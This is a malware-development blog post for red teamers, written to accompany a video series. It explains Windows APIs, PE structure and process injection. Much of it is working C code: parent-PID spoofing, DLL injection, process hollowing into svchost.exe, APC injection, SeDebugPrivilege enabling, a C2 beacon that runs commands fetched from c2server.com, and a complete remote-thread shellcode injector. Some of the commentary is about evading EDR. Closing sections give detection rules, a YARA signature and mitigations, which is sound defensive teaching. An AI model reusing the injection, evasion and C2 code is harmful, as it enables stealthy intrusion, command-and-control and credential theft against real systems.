Malware Development 101 – Part 2: Windows APIs, PE Format, and Injection Techniques

This blog series is the written companion to our Malware Development: Red Team Tradecraft YouTube playlist, where we walk through live demos of the evasion techniques discussed here, including payload staging, AV/EDR bypass, and in-memory, on disk, and network evasion. We recommend following along with the playlist alongside these posts. 

Disclaimer

This blog series is designed for cybersecurity professionals, red teamers, and security analysts who want to understand malware development from an offensive and defensive perspective. The knowledge shared here is meant to help you better create, detect, analyze, and defend against malicious software. Always use this information ethically and legally within authorized security assessments and controlled environments.

Introduction

Welcome back to the Maldev 101 series! In Part 1, we covered the foundational concepts of processes, threads, memory, and handles. We established the mental models necessary to understand how malware interacts with the Windows operating system.

In this second part, we’re going deeper into the practical implementation details that every cybersecurity analyst needs to understand:

  • Windows API Mastery – Which APIs to use and when
  • Reading API Documentation – How to navigate MSDN like a pro
  • PE File Format Basics – Understanding executable structure
  • Process Injection Techniques – Classic and modern methods
  • Practical Injection Walkthrough – Complete code example with explanation
  • Detection Strategies – How defenders spot these techniques in the wild

By the end of this post, you’ll understand not just the theory, but the actual implementation details that make modern malware work – and more importantly, how to detect and defend against it.

Understanding Windows APIs: The Interface to the Operating System

Windows APIs (Application Programming Interfaces) are the gateway between your code and the Windows kernel. Understanding which APIs to use and when is absolutely critical in malware development and analysis.

Why APIs Matter in Malware Development or Analysis

As a red teamer or a defender, you need to know:

– What APIs are commonly used in malicious code

– Which API sequences indicate suspicious behavior

– How APIs can be chained to achieve complex attacks

– What alternatives exist for stealthy execution

Let’s explore the primary categories of Windows APIs.

Windows API Categories by Task

1. Process Creation & Management

PurposeWinAPINotes
Create new processCreateProcess, CreateProcessAsUserBasic method, customizable with STARTUPINFOEX for PPID spoofing
Spoof parent processUpdateProcThreadAttributeUsed with STARTUPINFOEX to make malware look like it was spawned by explorer.exe
Suspend processNtSuspendProcess (undocumented)Used to pause analysis tools or for process hollowing
Kill processTerminateProcessRisky – noisy and detectable
Enumerate processesCreateToolhelp32Snapshot, Process32First, Process32NextFind target processes like explorer.exe, lsass.exe

Example: Parent Process Spoofing

STARTUPINFOEX si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
// Initialize structures
ZeroMemory(&si, sizeof(STARTUPINFOEX));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
// Get handle to target parent (e.g., explorer.exe)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);
// Allocate attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
    GetProcessHeap(), 0, attributeSize
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
// Set parent process
UpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &hParent,
    sizeof(HANDLE),
    NULL,
    NULL
);
// Create process with spoofed parent
CreateProcess(NULL, "malicious.exe", NULL, NULL, FALSE, 
              EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
              (LPSTARTUPINFO)&si, &pi);

2. Thread Creation & Injection

PurposeWinAPINotes
Create a thread in the current processCreateThreadSimple but detectable
Create a remote threadCreateRemoteThreadStandard injection method
Stealthier remote threadNtCreateThreadExBypasses some EDR hooks
Queue APC shellcodeQueueUserAPC, NtQueueApcThreadMore evasive injection technique
Get thread contextGetThreadContext, SetThreadContextUsed in process hollowing

Comparison: CreateRemoteThread vs NtCreateThreadEx

// Method 1: CreateRemoteThread (More detectable)
HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)remoteBuffer,
    NULL,
    0,
    NULL
);
// Method 2: NtCreateThreadEx (Stealthier, direct syscall)
HANDLE hThread;
NTSTATUS status = NtCreateThreadEx(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    remoteBuffer,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL
);

Why NtCreateThreadEx can be (somewhat) stealthier than CreateRemoteThread

– It is a lower-level Native API

– Slightly less noisy in basic detections

– Better control and easier to pair with evasion

 

2026 Reality Check

While NtCreateThreadEx remains a useful step up from the high-level CreateRemoteThread, it is no longer considered strong evasion on its own. Modern EDRs (CrowdStrike, SentinelOne, Microsoft Defender, etc.) routinely monitor NtCreateThreadEx in ntdll.dll and correlate it with suspicious memory operations. The real value comes when combined with direct or indirect syscalls (e.g., via SysWhispers), ntdll unhooking, or moving to threadless techniques such as APC injection, thread hijacking, or Pool Party. In current environments, relying solely on swapping to NtCreateThreadEx provides only marginal protection against mature defenses.

3. Memory Management

PurposeWinAPINotes
Allocate memory in the targetVirtualAllocEx, NtAllocateVirtualMemoryNeeded for code injection
Write to memoryWriteProcessMemory, RtlMoveMemoryUsed to inject shellcode
Read from memoryReadProcessMemoryUsed for stealing data (e.g., LSASS credentials)
Protect memoryVirtualProtect, VirtualProtectExMark memory as executable (RWX permissions)
Flush memoryFlushInstructionCacheEnsures shellcode executes correctly

Memory Permissions Matter:

// BAD: Allocating RWX (Read-Write-Execute) memory is a red flag
LPVOID buffer = VirtualAllocEx(
    hProcess,
    NULL,
    shellcodeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE  // ❌ Highly suspicious!
);
// BETTER: Allocate as RW, write shellcode, then change to RX
LPVOID buffer = VirtualAllocEx(
    hProcess,
    NULL,
    shellcodeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE  // ✅ Write-only first
);
WriteProcessMemory(hProcess, buffer, shellcode, shellcodeSize, NULL);
DWORD oldProtect;
VirtualProtectEx(
    hProcess,
    buffer,
    shellcodeSize,
    PAGE_EXECUTE_READ,  // ✅ Then change to execute-only
    &oldProtect
);

4. DLL Injection & Loading

PurposeWinAPINotes
Load DLLLoadLibrary, LoadLibraryExUsed in simple DLL injection
Get function from DLLGetProcAddressRetrieve function pointers after loading
Reflective injectionCustom loading + VirtualAlloc + RtlMoveMemoryNo WinAPI call to load from disk
Manually map the DLLAvoids LoadLibraryFully stealth with PE parsing

Classic DLL Injection:

// 1. Allocate memory for DLL path in target process
LPVOID dllPathAddr = VirtualAllocEx(
    hProcess,
    NULL,
    strlen(dllPath) + 1,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);
// 2. Write DLL path to target process
WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL);
// 3. Get address of LoadLibraryA in kernel32.dll
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(
    GetModuleHandle("kernel32.dll"),
    "LoadLibraryA"
);
// 4. Create remote thread to call LoadLibraryA with our DLL path
HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)loadLibraryAddr,
    dllPathAddr,
    0,
    NULL
);
WaitForSingleObject(hThread, INFINITE);

5. Privilege Escalation & Token Manipulation

PurposeWinAPINotes
Adjust token privilegesOpenProcessToken, AdjustTokenPrivilegesRequired for debug privilege
Enable SeDebugPrivilegeSame as aboveNeeded to access LSASS memory
Duplicate tokenDuplicateTokenExUsed for impersonation attacks
Set thread tokenSetThreadTokenThread-level impersonation

Enabling SeDebugPrivilege:

BOOL EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    // Open current process token
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        return FALSE;
    }
    // Get LUID for SeDebugPrivilege
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // Enable privilege
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);
    return TRUE;
}

6. Network Communications (C2)

PurposeWinAPINotes
Network connectionsWinINet (InternetOpen, InternetReadFile)Easier but heavily monitored
Stealthier HTTPWinHTTP (WinHttpOpen, WinHttpSendRequest)More control, less detection
Raw socketsWSAStartup, socket, connect, recv, sendFor custom protocols

Example: Simple HTTP Beacon

#include <wininet.h>
#pragma comment(lib, "wininet.lib")
void SendBeacon() {
    HINTERNET hInternet = InternetOpen(
        "Mozilla/5.0",  // User-agent
        INTERNET_OPEN_TYPE_DIRECT,
        NULL,
        NULL,
        0
    );
    HINTERNET hConnect = InternetOpenUrl(
        hInternet,
        "https://c2server.com/beacon",
        NULL,
        0,
        INTERNET_FLAG_SECURE,
        0
    );
    char buffer[4096];
    DWORD bytesRead;
    InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead);
    // Process commands from C2
    ExecuteCommand(buffer);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
}

7. Anti-Debugging & Evasion

PurposeWinAPINotes
Check debuggerIsDebuggerPresent, CheckRemoteDebuggerPresentSimple checks
Breakpoint detectionGetThreadContext, NtQueryInformationProcessAdvanced evasion
Sleep bypassSleep, NtDelayExecutionAvoid sandbox time acceleration
Unhook functionsRead ntdll.dll from disk, overwrite hooked APIsAdvanced stealth method

How to Read Windows API Documentation

Knowing how to read and use WinAPI documentation is an essential skill. The official source is Microsoft Learn.

Let’s walk through reading a real API: CreateRemoteThread

Key Sections to Focus On:

a. Prototype

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

This tells you:

– Function name and return type (HANDLE)

– Parameters required and their types

b. Parameters

Explains what each argument does:

  • hProcess: Handle to the process you’re injecting into
  • lpStartAddress: Address in the target process where execution begins (your shellcode)
  • lpParameter: Optional parameter passed to the new thread
  • dwCreationFlags: 0 for immediate execution, CREATE_SUSPENDED to start paused

c. Return Value

  • Success: Returns a HANDLE to the new thread
  • Failure: Returns NULL – use GetLastError() to diagnose

d. Remarks

This is critical – tells you:

– Privileges required (e.g., PROCESS_CREATE_THREAD)

– Edge cases and limitations – Security implications

– Better alternatives

e. Example Code

Often includes working code snippets you can adapt.

Pro Tips for Using API Documentation:

  1. Always check “Remarks” section –  Contains crucial hidden rules that can break your code.
  2. Use GetLastError() after every API call to debug failures
  3. Click on parameter types to understand structures (e.g., STARTUPINFOEX)
  4. Look for “See Also” section for related APIs
  5. Compare examples with your code to spot mistakes

Understanding the PE (Portable Executable) Format

Before diving into advanced injection techniques, you need to understand how Windows executables are structured.

What is a PE File?

A Portable Executable (PE) file is the standard format for executables, DLLs, and drivers on Windows. Understanding PE structure is crucial for:

  • Process hollowing – Replacing a legitimate process’s code
  • Reflective DLL injection – Loading DLLs without LoadLibrary
  • Manual mapping – Custom DLL loading
  • Malware analysis – Understanding how packers and obfuscators work

PE File Structure Overview

+---------------------------+
| DOS Header                | ← "MZ" signature
+---------------------------+
| DOS Stub                  | ← "This program cannot be run in DOS mode"
+---------------------------+
| PE Signature              | ← "PE\0\0"
+---------------------------+
| COFF File Header          | ← Architecture, number of sections
+---------------------------+
| Optional Header           | ← Entry point, image base, section alignment
+---------------------------+
| Section Headers           | ← .text, .data, .rdata, .rsrc
+---------------------------+
| Section Data              |
|   .text  (code)          |
|   .data  (initialized)   |
|   .rdata (read-only)     |
|   .rsrc  (resources)     |
+---------------------------+

Key PE Components:

1. DOS Header (First 64 bytes)

typedef struct _IMAGE_DOS_HEADER {
    WORD e_magic;      // "MZ" (0x5A4D)
    // ... other fields ...
    LONG e_lfanew;     // Offset to PE header
} IMAGE_DOS_HEADER;

2. PE Header

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;                    // "PE\0\0"
    IMAGE_FILE_HEADER FileHeader;       // Architecture, sections count
    IMAGE_OPTIONAL_HEADER OptionalHeader; // Entry point, base address
} IMAGE_NT_HEADERS;

3. Section Headers

typedef struct _IMAGE_SECTION_HEADER {
    BYTE  Name[8];           // .text, .data, etc.
    DWORD VirtualAddress;    // Address in memory
    DWORD SizeOfRawData;     // Size on disk
    DWORD PointerToRawData;  // Offset in file
    DWORD Characteristics;   // Permissions (RWX)
} IMAGE_SECTION_HEADER;

Why This Matters for Malware Development:

  • Entry Point: Where execution starts – can be modified for persistence
  • Import Address Table (IAT): Functions the executable imports – can be hooked
  • Sections: Different permissions – .text is executable, .data is writable
  • Base Address: Where the PE loads in memory – important for ASLR bypass

Process Injection Techniques: Theory and Practice

Now, let’s put everything together with real injection techniques.

Technique 1: Classic DLL Injection

How it works:

  1. Allocate memory in the target process for the DLL path
  2. Write the DLL path to allocated memory
  3. Create a remote thread that calls LoadLibraryA

Pros: Simple, well-documented
Cons: Heavily monitored, easily detected

Code Example: (Already shown in DLL Injection section above)

Technique 2: Process Hollowing

How it works:

  1. Create a target process in a suspended state
  2. Unmap legitimate code from memory
  3. Allocate new memory and write malicious code
  4. Update the entry point to malicious code
  5. Resume process

Pros: Looks like a legitimate process to users
Cons: Detectable by EDR memory scanning

Simplified Code:

// 1. Create suspended process
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
              CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. Unmap original executable
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)
    GetProcAddress(hNtdll, "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, (PVOID)baseAddress);
// 3. Allocate new memory
LPVOID newBase = VirtualAllocEx(pi.hProcess, (PVOID)baseAddress, imageSize,
                                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 4. Write malicious PE
WriteProcessMemory(pi.hProcess, newBase, maliciousPE, imageSize, NULL);
// 5. Update entry point in thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
#ifdef _WIN64
ctx.Rcx = (DWORD64)newEntryPoint;  // RCX holds entry point on x64
#else
ctx.Eax = (DWORD)newEntryPoint;    // EAX holds entry point on x86
#endif
SetThreadContext(pi.hThread, &ctx);
// 6. Resume execution
ResumeThread(pi.hThread);

Technique 3: APC (Asynchronous Procedure Call) Injection

How it works:

  1. Find the target thread in an alertable wait state
  2. Queue APC to that thread with the shellcode address
  3. When the thread resumes, it executes the APC (your shellcode)

Pros: Stealthier than CreateRemoteThread
Cons: Requires a thread in an alertable state

Code Example:

// 1. Allocate and write shellcode (same as before)
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                     MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
// 2. Find target thread (usually first thread)
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
Thread32First(hSnapshot, &te);
do {
    if (te.th32OwnerProcessID == targetPID) {
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
        
        // 3. Queue APC
        QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, NULL);
        
        CloseHandle(hThread);
        break;
    }
} while (Thread32Next(hSnapshot, &te));

Complete Injection Example: Putting It All Together

Let’s walk through a complete, commented example of shellcode injection:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// Shellcode (calc.exe for demonstration)
unsigned char shellcode[] = 
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    // ... (truncated for brevity)
    ;
// Find process by name
DWORD FindProcessId(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    
    if (Process32First(hSnapshot, &pe)) {
        do {
            if (strcmp(pe.szExeFile, processName) == 0) {
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32Next(hSnapshot, &pe));
    }
    
    CloseHandle(hSnapshot);
    return 0;
}
int main() {
    // 1. Find target process
    DWORD targetPID = FindProcessId("notepad.exe");
    if (targetPID == 0) {
        printf("[!] Target process not found\n");
        return 1;
    }
    printf("[+] Found target PID: %lu\n", targetPID);
    
    // 2. Open process with required permissions
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE,
        targetPID
    );
    if (hProcess == NULL) {
        printf("[!] Failed to open process. Error: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process handle obtained\n");
    
    // 3. Allocate memory in target (RW first, then change to RX)
    LPVOID remoteBuffer = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE  // Start with RW
    );
    if (remoteBuffer == NULL) {
        printf("[!] Failed to allocate memory. Error: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Memory allocated at: 0x%p\n", remoteBuffer);
    
    // 4. Write shellcode to allocated memory
    if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
        printf("[!] Failed to write memory. Error: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Shellcode written successfully\n");
    
    // 5. Change memory protection to RX (Read + Execute)
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, remoteBuffer, sizeof(shellcode),
                         PAGE_EXECUTE_READ, &oldProtect)) {
        printf("[!] Failed to change memory protection. Error: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Memory protection changed to RX\n");
    
    // 6. Create remote thread
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteBuffer,
        NULL,
        0,
        NULL
    );
    if (hThread == NULL) {
        printf("[!] Failed to create remote thread. Error: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Remote thread created successfully\n");
    
    // 7. Wait for thread to finish and cleanup
    WaitForSingleObject(hThread, INFINITE);
    printf("[+] Execution completed\n");
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    return 0;
}

Detection Strategies: How Defenders Spot These Techniques

As a red teamer or cybersecurity analyst, you need to know how these techniques get detected:

1. Process Injection Indicators

EDR/SIEM Alerts to Configure:

Alert: Suspicious Process Memory Operations
Trigger: Process A performs the following sequence against Process B:
  1. OpenProcess (PROCESS_VM_WRITE | PROCESS_VM_OPERATION)
  2. VirtualAllocEx
  3. WriteProcessMemory
  4. CreateRemoteThread OR QueueUserAPC
Severity: HIGH if Process A is not a known legitimate tool

2. Memory Permission Anomalies

Alert: RWX Memory Allocation
Trigger: VirtualAllocEx or VirtualAlloc with PAGE_EXECUTE_READWRITE
Why suspicious: Legitimate code rarely needs RWX
Modern exploits use this for shellcode execution

3. API Call Sequence Analysis

Monitor for suspicious API call patterns:

// Suspicious Pattern 1: Classic Injection
OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
// Suspicious Pattern 2: DLL Injection
OpenProcess → VirtualAllocEx → WriteProcessMemory → GetProcAddress → CreateRemoteThread
// Suspicious Pattern 3: Process Hollowing
CreateProcess (CREATE_SUSPENDED) → NtUnmapViewOfSection → VirtualAllocEx → 
WriteProcessMemory → SetThreadContext → ResumeThread

4. Parent-Child Process Anomalies

Alert: Suspicious Process Spawning
Examples:
  - excel.exe spawning cmd.exe or powershell.exe
  - winword.exe creating svchost.exe
  - explorer.exe with unusual child processes
  - PPID spoofing (Process Explorer shows mismatched parent)

5. Network Beaconing Detection

Alert: Regular Interval Network Connections
Trigger: Process making HTTP/HTTPS requests at fixed intervals
  - Every 60 seconds exactly (C2 beacon)
  - Low data volume (heartbeat)
  - Unusual User-Agent strings
  - Connections to non-standard ports

Offensive and Defensive Tools and Techniques

For Threat Hunting:

  1. Sysmon – Configure to log:

    • Process creation (Event ID 1)
    • Network connections (Event ID 3)
    • Process access (Event ID 10)
    • Remote thread creation (Event ID 8)
  2. Process Hacker / Process Explorer

    • Check process memory for RWX regions
    • Verify parent-child relationships
    • Inspect loaded DLLs and their paths
  3. Volatility (Memory Forensics)

    • malfind – Find injected code
    • pslist – Analyze process relationships
    • dlllist – Check loaded modules
  4. YARA Rules

    rule Suspicious_API_Sequence {
        strings:
            $api1 = "OpenProcess" ascii
            $api2 = "VirtualAllocEx" ascii
            $api3 = "WriteProcessMemory" ascii
            $api4 = "CreateRemoteThread" ascii
        condition:
            all of them
    }

Conclusion

In this second part of the Maldev 101 series, we’ve covered the practical implementation details that transform theory into action:

Key Takeaways:

  1. Windows APIs are the bridge between code and the OS – knowing which ones to use (and which are monitored) is critical
  2. API sequences matter – defenders look for suspicious patterns, not individual calls
  3. PE format understanding enables advanced techniques like process hollowing and reflective injection
  4. Injection techniques range from simple (CreateRemoteThread) to sophisticated (APC injection, manual mapping)
  5. Detection is pattern-based – unusual memory permissions, cross-process operations, and parent-child anomalies are key indicators

What’s Coming in Part 3:

  • Shellcode Creation & Obfuscation – Writing position-independent code
  • Cryptography in Malware – XOR, AES, and encryption techniques
  • Evasion Techniques – Unhooking, syscalls, and anti-debugging
  • Building a Complete Loader – 12-step process from concept to execution

Hands-On Practice

Lab Exercise:

  1. Set up an isolated Windows VM
  2. Write a simple process injector using the code example above
  3. Monitor it with Process Hacker and Sysmon
  4. Observe the API calls and memory operations
  5. Write detection rules for your SIEM

Safe Practice Environment:

  • Use VirtualBox/VMware with a network-isolated
  • Never test on production systems
  • Always get proper authorization

Detections & Mitigations

MITRE ATT&CK Techniques Covered:

  • Process Injection – T1055
    • T1055.001 – DLL Injection
    • T1055.002 – Portable Executable Injection
    • T1055.003 – Thread Execution Hijacking
    • T1055.004 – Asynchronous Procedure Call (APC)
    • T1055.012 – Process Hollowing
  • Parent PID Spoofing – T1134.004
  • Access Token Manipulation – T1134
  • Credential Dumping – T1003.001

Defensive Mitigations:

  1. Enable attack surface reduction (ASR) rules in Windows Defender
  2. Deploy EDR solutions with process injection detection
  3. Configure Sysmon for comprehensive logging
  4. Implement application whitelisting (AppLocker/WDAC)
  5. Use Credential Guard to protect LSASS

Resources

Share the Post:

Table of Contents

Subscribe To Our Blog

Light